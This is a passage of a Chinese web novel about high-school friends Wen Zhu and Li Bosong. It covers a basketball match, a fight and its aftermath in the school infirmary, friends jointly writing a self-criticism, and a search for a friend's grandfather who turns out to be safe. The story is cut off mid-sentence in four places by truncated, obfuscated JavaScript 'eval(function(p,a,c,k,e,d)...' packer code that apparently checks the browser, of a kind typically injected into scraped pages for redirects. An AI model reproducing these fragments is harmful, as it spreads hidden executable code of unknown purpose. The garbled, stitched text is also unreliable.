李泊松和他碰了下手掌,原本有话想问他,一念之间还是决定去问闻竹本人。 “哦对了,”程栩倒是先开口了:“刚刚闻竹让我转告你,好好加油。” “嗯?”李泊松有点惊讶,偏头看了眼一旁的毕雨泽他们,问:“就和我说了?” “对啊,”程栩对这个问题表达了自己的茫然,他试图理解闻竹的话:“刚才她说你溜号了,可能是提醒你细心点?” “……”李泊松点头,“知道了。” “你们这场赢了的话,下一场没准就对上我们班了。” 李泊松笑了声,难得展现了些胜负欲:“行,等着吧。” 28. 打架事件 太阳炙烤着大地,柏油路面都滚滚发烫,场上和看台的大家却丝毫没被毒辣的太阳影响,声势意外地浩大。 打过半场后,闻竹觉得二十二班的水平还是挺不错的,有两个球打得很好的,毕雨泽口中的“菜”大概带了一些个人色彩。 上半场算不上战况焦灼,虽然他们班只领先几分,但看大家的表现和状态,打得并不吃力。李泊松更是一点疲惫感都没有,看起来游刃有余的。 闻竹想,这人上半场都没用全力。 下半场开始,跳球。 球在毕雨泽手里传给路一杭,李泊松晃过陆昊然,接到了路一杭的球,带球上篮。 场下一阵欢呼。 这一球很稳,没有任何炫技,却非常干脆地给下半场开了个好头。 其实闻竹是不怎么想看陆昊然的,但他后面和李泊松一对一盯防,不看也不行。 和李泊松认识了这么多年,他平时打球的时候,闻竹都是路过看一眼就走了,但看他打整场比赛的次数却不算少。李泊松之前的任何比赛都没有缺席过,不管是被迫去的还是自愿的。 场下有点懒散的人,在场上却是锋芒毕露的样子,动作干净利落,眼神锐利。 闻竹中午没睡觉,因为神经兴奋没有感觉到一丝一毫的困意。她表现得淡然,眼睛却一错不错地盯着球。在最后的几分钟,比分已经拉到了十几,胜负几乎没有悬念了。这时李泊松和陆昊然在篮下,闻竹眯了下眼睛看到了李泊松进球,之后裁判吹了哨。 “为什么吹哨?”这声音是陆昊然,刚刚的哨是因为他犯规。 他情绪有些激动,于是裁判上前说了几句话。但坐在观众席的大家听不到,纷纷在问“这是怎么了”,周围有了骚动的声音。 闻竹看向李泊松,他没受任何影响地站在罚球线上,在场上重新安静下来后开始罚球。抬手,球进篮筐。 曲思嘉问她刚才怎么了,闻竹低声说:“他故意的。” “啊?” “他想让陆昊然犯规,刚才在篮下故意晃了一下。” 这招说得好听点是战术,毕竟兵不厌诈,打球也不是一个劲猛冲。陆昊然球品差得不行,这一场打下来连闻竹都火气直冒,用在他身上倒是正正好好。 李泊松也是一点没变,能用脑子打球就懒得和别人拼体力。 “这是可以的吗?”曲思嘉瞪圆了眼睛。 “嗯,”闻竹点头:“没问题。” - 这场打完之后,李泊松脸上的汗顺着额角流下来,汗水有些挡视线,他抓起衣摆想擦汗,顿了顿又放下了手。衣摆皱了下,松开后随着他的动作晃荡了一会儿又恢复原样。 闻竹在他的手心里塞了一块干净的毛巾,她留下一句“打得很帅”,转身就去和毕雨泽他们说话了。 “闻竹?”他低声叫人,闻竹大概没听到,头都没回。 李泊松微叹气,抬手擦了擦汗,一转身,迎面撞上了一个女孩。 女孩把手里的水递给他,说了一些夸他的话。李泊松客气地笑笑,看了眼四周,人流已经散得差不多了。他把毛巾随意地搭在脖颈处,侧开身子指了指后边的一袋子矿泉水和运动饮料,“我们那儿有水,谢谢。” 女生虽然有些不好意思,性格却很落落大方,她放下手,问道:“你还记得我吗?我是二十五班的,周佳莹。”她说了自己的名字。 李泊松还真不记得了,他搜刮了最近这两个多月的记忆,毫无所获。有人在身后怼了他一下,这个力道并不重,他偏头,望进了闻竹的眼睛。 他骤然明白过来,这应该是那次她帮忙送情书的那个女孩。他点头:“记得……还是谢谢你。” 闻竹在旁边低头,背着人轻轻翻了个白眼,对李泊松这个回答说不出什么话来。这人平时也算巧舌如簧,以前和她拌嘴的时候都能胜负五五分,这种情况下倒是只会发好人卡。还一连发了两张,这让人家女孩说什么。 女生走了之后,李泊松转身看向闻竹,问她:“刚才我就看到了,你拿相机做什么?” 闻竹一边低头查看拍好的照片一边答道:“岩姐叫我给你们拍照。” 他“哦”了声,拿下毛巾自言自语似的说:“流的汗有点遮眼睛,下场比赛我要准备个发带。”他垂眼:“闻竹,拜托你提醒我。” 闻竹懒得理他:“我是你秘书?” 李泊松竟然没有一点客气的意思:“你是我同桌啊。” 这场比赛很顺利,毕雨泽看上去像是被陆昊然的打球方式恶心得够呛,但大家都没受伤,因而他只是发几句牢骚。他在场上,感受比场下看的人清晰多了。 嘀咕完之后他又想起了最后几分钟李泊松的那招。他偶尔在大型球赛中见得到,但他自己没那么强的控球能力,玩不了这个。想想当时陆昊然的表情,他就觉得心情舒畅,大快人心。 - 闻竹刚走出球场就被学生会叫住,那边想要几张她刚才拍的照片。 她问:“写公众号么?” “嗯,对,最好是拍得清晰好看的。” 闻竹动作麻利地翻了几下相机,觉得都挺满意的,她心里这么想,却从不在人前这么说,只是点头:“好,我一会儿挑一些传过去。” “那就谢啦。” 走回班级的路上,她们两个聊了一下这次的成绩,曲思嘉进步很大,对不能开家长会这事有些耿耿于怀。 闻竹是稳定发挥,所以没太大感受,她问:“岩姐是不是说让李泊松准备周一全校演讲的稿子?” 曲思嘉不太确定地说:“这事我好像听毕雨泽说了,但我当时没在班……”曲思嘉思考了一下这事的来龙去脉,惊讶道:“他不会考了年组第一吧?” 她看年组大榜向来是直接翻到第二页看三十到五十这个区间,还真没在意过每次都谁是前几名。 闻竹轻轻点头。 曲思嘉的反应很直白:“我的天啊。” 就在两人这么有一搭没一搭地聊着往回走的时候,刚顺着楼梯到了三楼的楼梯口,就看到毕雨泽风风火火地往这边跑。 他脸上还挂着些微的汗珠,和她们两个打了照面都没看一眼。 什么事这么急…… 闻竹蹙眉,曲思嘉出声叫住他:“哎,出什么事了你火急火燎的?” 毕雨泽回头,好似才认出她们两个似的:“泊松和陆昊然打架了,我去校医那儿看看他。” 话音刚落,闻竹上台阶的脚步顿住,眉头皱得更深了。 几分钟后,闻竹出现在高三楼一楼的走廊,她步履匆匆,直到在校医室的门缝里看到李泊松的身影才喘过一口气。 她刚刚被那种莫名的心焦感搞得很紧张,不明白什么架能打到医务室来。 毕雨泽和路一杭被李泊松赶回去上课,他们两个不太放心,踌躇着不想走。闻竹听到李泊松提醒他们下节课是岩姐的,他们两个才懊恼地朝门口走去。 两人出门就和靠在墙边的闻竹对上了视线,闻竹没说话,毕雨泽嘴张得能塞进拳头。最后还是路一杭先开口:“没什么事,但是他心情好像不太好。”他和闻竹打了声招呼,“我们回去上课了。” 想了想,又觉得不太对劲,“你……” 闻竹把手里提着的相机往上拎了拎:“我说去学生会那边传照片。” “行,那我们就真走了。” “……走吧,没事。” 回头看着他们两个一阵风一样消失在走廊尽头,闻竹把脸转向窗外盛放的花树,没一会儿又恹恹地收回视线。 “闻竹?” 忽地听到了自己的名字,闻竹回了神,朝着声源的方向抬眼看去。 男生眼睛里那种她习以为常的笑意浅淡了些,嘴角有一丝伤痕。他低声道:“在门口站着做什么,这里又不要门票。” 这都什么时候了还开玩笑。 闻竹习惯性地回怼:“说得好像这里是你家。” 李泊松笑了,好像因为这一句算不上好听的话变得高兴起来。 他打开门,闻竹走进去,校医并不在这,她细致地打量了一下李泊松,看他有没有除了唇角之外的伤。在这过程中一直皱着眉,看起来凶巴巴的。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻竹冷哼:“少学雷锋啊,对谁好要说出来。” 坐着的男生抬眼看着她。 “我完全不在意他,他是无关紧要的人,但是……泊松,我不想让你受伤。” 家人、朋友甚至是刚认识不久的同学都会这么叫他,闻竹却几乎从没这样喊过。 她偶尔的坦诚让李泊松觉得自己的心脏跳得都把肋骨撞疼了,他彻底投降:“我知道了。”又换了种语气补充了一句,温柔得像叹息:“我一直都知道。” 在闻竹把想说的话说完之后,她突然意识到,因为一个人曾经对她造成过伤害、说过关于她的难听的话,李泊松因为这件事和那个人打架,在她的潜意识里竟然是合理的。 大概和校医室的位置有关,离太阳落山的时间还有好几个小时,室内却已经有些暗了,开着明晃晃的白炽灯。闻竹在灯下细心地注意到了李泊松手上的伤口。 她没法判断这是在场上受的伤,还是刚才弄的,闻竹翻了翻医药箱,从里边拿出一次性消毒棉签。 李泊松垂着眼睛,睫毛颤动了几下,好像在忍着把手收回去的冲动。 “你又不怕疼,你躲什么?”闻竹有点没好气,但动作很轻柔。 她把棉签从尾部掰开,看着碘伏浸透白色的棉签头部。 “我怎么不怕疼了?”他说的话听起来像在为自己辩解,语调却慢悠悠的。 闻竹想,也是,哪有人不怕疼。 李泊松身上没什么明显的皮外伤,他在这躲着不回去,不知道是在躲岩姐还是在躲她。 消毒的过程非常简单,所以很快,闻竹一直低着头,加之密闭空间的影响,李泊松察觉到了一点暧昧在空气中。 然后他倏地看到闻竹抬头,两个人的视线碰在一起。他福至心灵地意识到这个场景很温情,但绝对不是暧昧,半点都没有。 闻竹坦坦荡荡,乱了的是他的心。 29. 众人拾柴 走在回家路上的时候,李泊松只穿了半袖,他们两人离得很近,他裸露的小臂和闻竹的校服袖子蹭到一起,产生一种细密的摩擦。 闻竹接了一个电话,她嗯嗯啊啊地答应着什么,虽然没说几句话,但态度并不敷衍,在李泊松看来还挺可爱,而且大概是因为身边有人,闻竹才想要快点把电话挂断。 她一直觉得两个人独处的时候,一个人总在打电话是非常不礼貌的行为。 在她挂断电话半分钟后,李泊松问:“陈姨?” “嗯,我妈说我爸去外地参加一个什么会,今天小灿来这边吃饭,现在在家呢,问我有没有到家。”说完这些话后,闻竹问他:“你过来吗?” 李泊松摇头,他今天大概是有点累,声音懒洋洋的:“太打扰了……我回家睡觉。” “没事啊,不打扰。”闻竹这么说完,偏头去看他,然而只是看他的表情闻竹就知道李泊松没有听进去,她只好作罢,换了个话题。 “刚才岩姐叫你去办公室,批评你了?” “嗯,”李泊松笑笑,问她:“岩姐很不喜欢学生打架吧。” 闻竹在脑海中仔细搜刮了一阵,没找到类似的案例,因此无法回忆孟丽岩的态度。 “什么话?”她偏头:“会有老师喜欢学生打架么?” 李泊松若有所思地点点头。 “岩姐没说什么,她问我为什么动手,又说如果有难办的事情可以告诉她。” 听了这话闻竹也笑了,岩姐当时之后陆昊然那回事之后也是那么和她说的。 月光在砖石路上跳跃,使得路面有了灵动和活泼。 他们两个说着很模糊但互相都懂的话,之后很长时间都没人再开口,闻竹捂着嘴打了个哈欠,觉得自己有点困了。 “和我一起走路让你觉得很无聊吗?”李泊松的表情非常复杂,像在忍笑,“你都困得流眼泪了。” 闻竹和他说,觉得自己最近被睡神诅咒了,觉比以前多很多。 李泊松依然走在她身边,跟随着她的速度和步伐调整自己的步速。他的安慰听起来有些敷衍:“春困秋乏,这很正常。” 在这个瞬间,闻竹觉得自己无论在哪个季节说困,李泊松都有固定的安慰她的话术。 她偏头,本想开句玩笑,却看到了他脸上暴露在空气中的伤口。 他们两个在小区门口站着,李泊松在包里掏出门卡,闻竹等在旁边。之后李泊松把卡贴在读卡机上,“滴”地一声,门朝里弹开。 李泊松和往常一样往旁边靠了一下,闻竹先走进门。 半分钟后,他们两个同时听到了一声短促地鸣笛,一辆白色路虎摇下了车窗。 “放学啦?” 李泊松看清了驾驶座上的人后有些惊讶,他颇为乖巧地打招呼:“陈姨。”闻竹看到他歪头笑了下,礼貌得像个小孩子。 “你们两个一起回家?”陈女士眨眨眼,视线转向李泊松:“泊松,晚上过来吃饭吧?” “妈,”闻竹打断她,而后淡淡地提醒道:“后边的车一会儿就朝你按喇叭了。” “……”陈青偏头看了眼后视镜,看到了后边车道上两辆逼近的车,她抓紧道:“上车吧,带你们到家门口。” 在李泊松想说“谢谢陈姨不用麻烦”之前,闻竹说:“我们还有三四分钟就走到家了,妈你停车就不止这些时间。” “好吧,拜拜泊松。” 李泊松点头,和她挥了下手,之后陈青就开着车扬长而去了。 “我妈有看到我吗?”闻竹纳闷地问他。 “嗯?”李泊松闷笑。他把手里的钥匙塞回包里,过程中手上的伤口蹭到了包上的拉链,于是倒吸一口凉气,好像终于感觉到了疼。他意识到闻竹还在看他,开玩笑道:“应该有吧。” - 周末,闻竹又在单元门口碰到了李泊松。天朗气清,她垮了个容量颇大的包,李泊松看了一眼就把目光定格在她脸上。 闻竹也在看着他。她看着李泊松站在她家楼下,离她只有几个台阶的距离。 在不用穿校服的日子里,他们两个不约而同地穿了衬衫。闻竹一直走的是休闲舒适的风格,穿衬衫也很随意,李泊松这件衬衫倒是被他穿得板板正正,看着很有男神的样子,和昨天打球流了一身汗又在水房和人大打出手的男生判若两人。 李泊松闲闲地说:“想起今天要出门了?” “……嗯,”昨天李泊松问起她今天的计划,没有定性如闻竹,昨天晚上的计划都没有,哪儿来的今天的计划。她当时想了想,说道:“大概是去学校自习?” 当时闻竹觉得自己是随口一说,李泊松的回应也像随口一说,她就没在意。第二天醒了之后家里再次变得空荡荡的,日头已经很高了。她洗完漱在厨房里转了一圈,最后在冰箱拿出速冻馄饨,半小时后,站在了这里,没想到李泊松也站在这里。 “你在这等我?” 李泊松点头,把手里的葡萄柠檬茶递给闻竹:“全糖少冰……你应该吃早饭了吧?” “吃了,”闻竹接过,没说谢谢,只说:“你下次要给我打电话啊,如果不是我妈给我发微信,我还在睡。” “想等等再说,总觉得把你吵醒的话你会骂我……”李泊松似笑非笑,“毕竟以前也发生过这种事。” 闻竹沉默。 她回忆了一下自己的黑历史,在心里发誓只有那一次,而且人不能对自己不清醒状态下的所作所为负责。 “那你就这么等着?” 李泊松笑了:“我刚到这,冰还没化呢。” - 周末的校园比平时安静很多,当他们两个走到三楼的楼梯口时,才意识到安静只是表象。 毕雨泽和曲思嘉在班级外走廊上的一个窗边靠着,正因为什么事争论不休。两人手里各拿着一支笔,大概率是在讨论严肃的学术问题。 他们几个很少提前约着来自习,但很多时候都会互相碰到。 曲思嘉是面朝他们的,只不过因为比较沉浸,直到闻竹出声两人才发现她。毕雨泽听到闻竹的声音,转头看过去,他随手抓过来的笔还卡在窗口,勾画得乱七八糟的演算纸被他的动作带到了地上。 李泊松随手捡起这张纸,看到了上面一个画了四五种不同辅助线的图。 “怎么不进去?”闻竹问。 卷子上的平面图变成了毕雨泽脑子里的立体图,他忙着想刚才的题,忘了回话。曲思嘉答道:“里边有人学习呢。” 闻竹明白她的意思,是怕打扰到其他人,她点了下头。 “学霸,快来看看这么做行不行?”毕雨泽摁开笔,问道。 闻竹挑眉:“你叫谁啊?” 李泊松在旁边笑,他就很无奈地说:“叫你们俩,哥哥姐姐!快帮忙看看。” 曲思嘉也顺势把脑袋凑了过去。 李泊松没经过闻竹同意就从她肩上勾走了她的包,而后他拍了拍毕雨泽的肩膀推开班级的前门。卸掉了身上累赘的闻竹一身轻松,她活泛了一下骨头,看了眼题之后又翻到前边看卷子的名字。 看清了之后她挑眉,低声问:“你们两个谁上次没写作业?” 曲思嘉朝毕雨泽抬了抬下巴。 一中不限制学生周末进校园,但一般的学生宁愿去自习室学习也不愿意来这边。学习压力大,学校的规矩也不少,所以这栋建筑给高中生们的感觉比较压抑,这不是一个招人喜欢的地方。五月末的天气已经开始热起来了,闻竹坐在教室算题,觉得这里虽然没有空调房舒适,奇怪的是,在这儿的学习效率总是最高的。 她余光扫过李泊松的桌面,觉得自己效率高可能是因为有人在和她比赛。而后她又偏头看向窗外,钟楼还在那,那看起来很古老的钟时针分钟还在转动,马上就中午了。 胳膊下垫的是自己刚才写完的卷子,闻竹没什么表情地翻看了一遍,偷偷在心里给自己今天的学习状态打了九十分。 那几个同学和他们打招呼,背着书包走了,毕雨泽安静了一个多小时,这会儿也坐不住了。他拍了拍前座李泊松的椅子,问他们中午吃什么。 李泊松说听听她们想吃什么,闻竹有点选择恐惧,从来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“岩姐昨天叫我去办公室,问我稿子写了吗,我说还没有,之后她说那行,很好,正好先别写了,把演讲稿改成检讨吧。”李泊松语气平静得好像在转述别人身上发生的事,“所以我现在,要写检讨。” “……”大家沉默了一会儿,毕雨泽问他:“那你的检讨是不是也没写?” 他点头,没有一丝一毫地犹豫:“我明天写。” “得了吧你,”闻竹从桌上扯出两页干净的A4纸,“就今天吧,我帮你写。” “啊?”李泊松看她拿起笔,又看她的眼睛。 “啊。”闻竹懒得多说什么。 “为什么?”李泊松好像非要刨根问底。 闻竹:“因为我人好。” 李泊松从来没给闻竹发过好人卡,闻竹自己给自己发了一张。 “听起来挺好玩的,需要我帮忙吗?众人拾柴火焰高嘛。”曲思嘉做题做烦了,搬着凳子凑过来问闻竹。正巧刚刚毕雨泽去了卫生间,她在背后讲人坏话:“这活应该让毕雨泽来,他经验丰富。” “……” 两分钟后,毕雨泽一进门就发现他们三个都在抬头看他。曲思嘉托着下巴疑惑道:“你不过来帮忙?” “帮忙倒是没问题,”毕雨泽站着,挠了挠头:“可是为什么一定要叫我,难道我很擅长这个吗?” 闻竹摊手,没任何心理压力地卖朋友:“思嘉说你写检讨有经验。” 毕雨泽装作不高兴的样子:“帮忙就帮忙,怎么还人身攻击呢?” 李泊松在楼梯口的自动饮水机买了柠檬茶分给大家,他们写着他就背着。闻竹听到旁边拉环拉开的声音,嘴里念念有词:“……深刻地检讨自己,我不应该在冲动之下……” “我没冲动啊。”李泊松低声道。 闻竹知道他说的是实话,却没被说服,只是抬头面无表情地看着他:“李泊松同学,抄作业的时候不要怀疑对错,现在这个情况同理。你明白的吧?” 他还是笑,在闻竹的瞪视下才严肃了些:“好的,我明白了,请继续。” 30. 突发状况 他们四个像那天给路一杭过生日那样围在一起,只不过地点是高二三班的教室,大家的活动是研究李泊松周一的检讨。 闻竹思路清晰地把检讨分成总分总的结构,中间的部分条理非常清晰,李泊松在她对面的椅子上大马金刀地一坐,拿着笔老老实实地按照他们提供的思路往下写。 闻竹抬眼看过去,发现他这字写得竟然还不错。 毕雨泽很热心地坐在那儿,却无法在这份检讨上投入任何情绪。他心里的想法和李泊松一样,就是陆昊然这人人品极差,和他打架没什么可后悔的。 初一那年有个男生说李泊松是没有妈妈的孩子,他动手揍了人。因为这件事情,老师找来了双方家长。李泊松回家后没有挨骂,还得到了一次他妈妈来看他的机会。 只不过后来被他爸送去和闻竹一起学毛笔字让他修身养性。 对于这件事,李泊松在闻竹面前装了好几天的可怜,最终得到了闻竹陪他去上课的承诺。但这少爷那时候是最坐不住的年纪,学了一个月就放弃了,闻竹倒是津津有味地学了很久。 他知道打架不是解决问题的方式,甚至可以说,打架解决不了任何的问题。就这件事来说,他或者闻竹,和陆昊然之间没有任何需要解决的问题。 李泊松从头到尾都没有被激怒,只有动手前的几秒钟真的生气了。 他清楚,闻竹其实是个没什么防备心的人,她只是看起来冷冷淡淡的,心里盛着太阳。她那时候把陆昊然当成朋友,但是并没有接收到同等的感情流动。 被辜负也好,受伤害也罢,这本身不奇怪、常发生。但他讨厌闻竹被辜负,也对此做不了任何事情。 毕雨泽围观了一会儿,推了推看着像在走神的李泊松,随口问道:“离高考还有多少天?” 路一杭不在这,如果他在,一定会回答得非常精确。李泊松简单算了一下,答:“十几天。” 他装模作样地叹气:“我要给学长学姐留下这么个印象么?” 闻竹:“你这检讨……你别说是在主席台上检讨?” “没有,”李泊松难得看闻竹这么惊讶,他笑了下,“就是周会的时候会被通报批评。” “哦,”闻竹抬眼看他,“你什么时候脸皮这么薄了?” “我一直都这样啊。” 对面的人不理他了。 肚子咕咕叫的时候,李泊松给路一杭打电话,问他要不要出来吃饭。路一杭很惊讶:“你们几个好像一点诚意都没有,朋友们,有中午十二点才约别人吃午饭的吗?” “……”四个人面面相觑。 只不过话虽然这么说,半小时后,他们还是在小吃街尽头的那家川菜馆见了面。 路一杭比他们四个到得还早,李泊松撩起门口的珠帘,大家一进门就看到他坐在一张六人座的桌边。坐下之后,曲思嘉率先发难:“你吃饭了?” 路一杭知道她在翻刚才的账:“没有啊。” 毕雨泽一巴掌拍在他后背上,笑骂:“那你摆什么谱!” “早到了?”李泊松问他。 “没有,咱们前后脚。” 闻竹一进门就眼尖地看到了坐在单桌的许璐瑶,许璐瑶也看到了她。 她们两个都有些意外,但很自然地互相打了招呼,又来我往地说了几句话。 下周的排球赛徐璐瑶会参加,她开玩笑似的拜托闻竹多给她们拍些照片,闻竹爽快地答应了。 闻竹问:“你要不要和我们坐在一起?” 她桌上的菜没怎么动,饭倒是只剩一个底,应该是已经坐这里很久了。 徐璐瑶笑了下,看着杯盘狼藉的桌面,只好礼貌地拒绝:“我马上吃完了,就不过去了。” 李泊松没吃过这家店,没对点菜发表什么意见,这家店新开不久,是毕雨泽推荐来的,他热心地推荐了几个不错的菜。 李泊松抬头看了眼闻竹,刚才还喊饿的人还在那里聊天呢。不知道是不是察觉到了有人在看她,闻竹偏头对上他的目光。 他用大拇指指了下菜单,这意思是叫她来点菜。 闻竹摆了下手,意思是你们点。 在点甜食的时候,毕雨泽伸手拍了下李泊松的胳膊,问他:“闻竹吃什么?” 他想了想,说:“杏仁豆腐吧。” “什么味道?”路一杭边看菜单边问。 李泊松言简意赅:“杏仁露的味道。” 路一杭对杏仁露这种饮料没什么可说的:“那能好吃吗?” 李泊松对甜食不感兴趣,他抬头笑了下:“好吃吗?” 闻竹在桌边坐下:“你尝尝不就知道了。”而后她发现,一分钟了,他们几个还没点完菜。 曲思嘉她们两个在等上菜的时候随意地聊了一些明星八卦,在闻竹知道曲思嘉喜欢的众多国内外明星又增加了一个人之后,她“哦”了声,半点不惊讶,接过她递来的手机看照片。 “帅吧?和咱们同岁。” 她说闻竹可以往后翻着看,于是闻竹顺势翻了几下,点头表示赞同:“是挺帅的。” “是吧是吧。”曲思嘉很兴奋。 “嗯,长得很不错。”她又说了一遍。 坐在对面的李泊松听了这话,放下手里的水瓶拿起了手机。他把手机解锁之后直接打开了百度,在信息框里输入名字。 看到了百度百科介绍的照片后,他看了闻竹一眼,闻竹忽地抬头,也看向他。 路一杭是拆台高手,他讲了曲思嘉的一段追星往事。 追星人都喜欢在手机里保存一些本命和墙头的照片,这不奇怪,每个追星人都是这样的,曲思嘉也有将近二十个G的内存都是各种帅哥美女的照片视频。好玩就好玩在,她的墙头换得实在太快了。 有一次曲思嘉在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他爷爷再过两年就过八十大寿了,却还是个能骑大二八穿过大街小巷的老头,不仅身体好,头脑也灵光,他初中的时候还能和他爷爷一起讨论数学题。但年岁的增长就像逐渐扩大的年轮,是看得见的事实。这几年里,他的听力飞速下降,也有些忘事。 “我倒是不怕别的,我爷爷说话清楚,手机也带着呢,丢不了,没准是溜达着忘了时间了。但他骑车出的门,我怕他摔着或者……”路一杭说了两句就闭了嘴。手机和微信电话都打过好几轮了,虽然知道大概里是徒劳,但他心里不冷静,只能一条条地发微信消息。 路一杭是骑车过来的,他们其他人都没有交通工具。李泊松说:“小路,你说说你爷爷喜欢去的地方,我们分头找找。” “对对对,”毕雨泽没遇到过这种事情,一时间也不知所措了,虽然安慰的话没什么用,但他还是说:“你别着急。” “你家里有人吗,我和思嘉去陪奶奶,还是和你们一起找?”闻竹问。 他奶奶年岁已高,出了这么件事,难免会心慌。 路一杭点头:“拜托你和思嘉去陪我奶奶,得有人在老太太身边,陪她说说话就行。我爷爷这边我也说不好在哪儿能找到他,我们三个人够了……” 这时候,曲思嘉在路边招手:“快过来,叫到车了。” 31. 雨后彩虹 闻竹和曲思嘉在家里陪着路一杭奶奶,哄老太太把饭吃了。路一杭他们跑遍了市图书馆、不远处的公园甚至烤鸭店,路一杭能想的都想了,心慌得很,最后无法,只好拿手机打110。 巧的是,电话刚通,双方各说了一句话的工夫,锁就响了一声。 爷爷进来之后就看到了自家客厅里人出奇得多,表情很是诧异。大家却都不约而同地舒了口气,纷纷打了招呼。 奶奶怒道:“老头子,你哪儿去了??” 路一杭那边忙道了歉挂掉电话。他奶奶火冒三丈气得不行,他自己只是觉得还好没事,没事就好。 没等爷爷说话,奶奶又问:“给你打电话也打不通,中午也不知道回家?” “我有个学生今天出差到临城,正好看看我,手机没打通……”他摸出手机来看,一头银白对着众人,“关机了。” 路一杭给两位老人都上了茶,奶奶看他喝了爱喝的,更不高兴了。 “你不在家吃饭不知道提前说一声啊?” “我说了……”爷爷招呼自己孙子,“一杭啊,一杭,你去沙发那儿看看。”话说完,他摸出奶奶的老花镜,两只手递过去。 “……” 路一杭回来的时候手里多了一张纸条。 上边写着:芳,中午和当时在师范学校的学生一起吃饭,午饭不用等。 他上午去了趟书店,之后索性在那儿做了张卷子。奶奶上午去老朋友家了,她不爱碰手机,发短信估计也看不到,倒是吃完饭之后雷打不动地看会儿电视,留个纸条放在沙发上倒也说得过去。 他边走边琢磨这纸条,还是无语得想笑。 递给他奶奶的时候,奶奶只看了一眼就放下了,他屁股刚沾上椅子,就被奶奶拍了下后背。 “一杭,这些小朋友是不是午饭都没吃好?叫老头子出钱,你们再出去吃点。” 他们几个这才开口,纷纷说不用没事的,爷爷听话地把路一杭叫过去,塞了几张钞票给他,又嘱咐了两句,路一杭说好好好知道了,朝他们几个眨了下眼睛。 大家会意,道了别之后就出门了,两位老人还送到了门口。 门关上后,他们听到奶奶念叨:“你这老头子,留个纸条子还放到沙发上了,你人都丢了我还看什么电视啊……” 路一杭长叹了口气:“年纪大了,免不了的。” 他们几个家里也都有老人,都理解。 “走吧,”大家顺着楼梯下去,路一杭问:“你们也累坏了,想吃什么?” 这离滨海北路近,商铺店面很多,他们随便挑了家米线店,走过去的路上,闻竹和李泊松走在最后边,前边三个月心里干净了,有一搭没一搭地接着中午吃饭的话题聊,闻竹一语不发。 李泊松问:“不开心?” 闻竹睫毛颤了颤,不知道他是怎么察觉到的。她说:“嗯,饿的。” 李泊松知道这是她灵机一动找的借口,猜到她大概不想说,就笑了下,转而问:“你爷爷奶奶身体还好?” “……” 李泊松这人真是。 闻竹都不知道是因为他太了解自己,还是因为他太聪明。总之,关于她的这些事,这人一猜一个准。他问这个问题,绝对是料到了她心里所想。 “我爷爷三年前去世了,奶奶身体还不错。” 闻竹三四岁那段时间,闻兴阳刚升了副主任医师,陈青从原本的团队中脱离出来开了家独立工作室,两人都忙,闻竹偶尔住在爷爷奶奶家。她奶奶是个很慈祥的老太太,爷爷却严肃古板,对她没有过好脸色。 她那时候太小,但也分得清喜欢与讨厌,冷脸见多了,也就不再主动去眼前晃了。 十岁之前的闻竹体质不好,很爱生病,流感永远绕不过她,每逢换季都要咳嗽几声。她感冒发烧的时候奶奶出了门,家里只有她和她爷爷,她烧到三十九度,她爷爷也不管不顾,还是奶奶回来之后急得直掉眼泪,火急火燎地抱着她去了医院。 她爷爷生前不喜欢陈青她们母女,闻竹长大后也就一直不愿意去他们那看他脸色,导致和奶奶的关系并不亲近。陈青却能隔三差五地去奶奶那边一趟,衣服和生活用品都置办得很妥帖。 她妈妈并不会把她爷爷对她的态度。现在想想,奶奶对她还是很好的,但她却没做到孙女该做的事情。 - 这一个多小时里大家都吓得够呛,也累坏了,好像过了好几天一般。之前那半顿午饭像没吃一样,这会儿菜端上来依然吃了不少。 夏日天气多变,一整天都是晴空万里,现在却愁云惨淡,一阵闪电忽然劈过,浓重的乌云好似被劈开了个口子,闷雷滚滚。电闪雷鸣过去之后,雨却迟迟没来。他们吃得差不多了,又因为怕下雨不敢多磨,纷纷收拾了包准备走。 这个餐厅离路一杭和曲思嘉家都很近,没几步就能走回家,因而不着急,等着他们先走。 毕雨泽周末在家住,他家在临城的另一个区,没那淡定的底气,火烧眉毛地打车。闻竹和李泊松也决定打车,但这边打车不容易,毕雨泽家远,他们两个不着急。闻竹闲闲地站着,李泊松打开打开叫车软件给她看。 毕雨泽打到了车,开了副驾驶车门,临上车之前却忽地想到了什么。他拉了下李泊松的胳膊,话却是和闻竹说的:“你们两个上车,我让师傅顺着四季学府走。” 闻竹上了车,又朝车窗外挥手,问他们两个有没有伞。曲思嘉说有,又叫她到家说一声。 乌云滚滚,好像有一片一直追着车走似的,却在几分钟后他们下车的前一刻才倾盆而落。毕雨泽在前面唉声叹气,早不下晚不下,等他到家再下不就行了。 李泊松在低头摆弄手机,闻竹淡定地把他背包侧兜的伞抽出来递给毕雨泽。 毕雨泽诧异道:“你们两个怎么办?” “你拿着吧,我的伞在包里。” “那这个是?” 闻竹语气自然:“李泊松的伞。” 听了这话,李泊松垂眸笑了下,把手机收回兜里,一抬眼,发现两个人都看着他。 “毕哥你拿着,我们有一把伞够了。” 早上来的时候闻竹说今天可能会下雨,问李泊松有没有带伞,答案如她所料。于是就在门口的便利店现买了一把,他把伞递给闻竹,央求她帮忙装进包里,闻竹一手拎着柠檬茶,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻竹听着近在咫尺的淅沥雨声,视线随意地落在地面上。地面的积雨仿佛龙宫的镜子,好像大雨真的让这座城市颠倒了。再抬头看天,天空很阴,因此看起来很低。如果是在滨海北路,看到的应该是水天一色的景象。 - 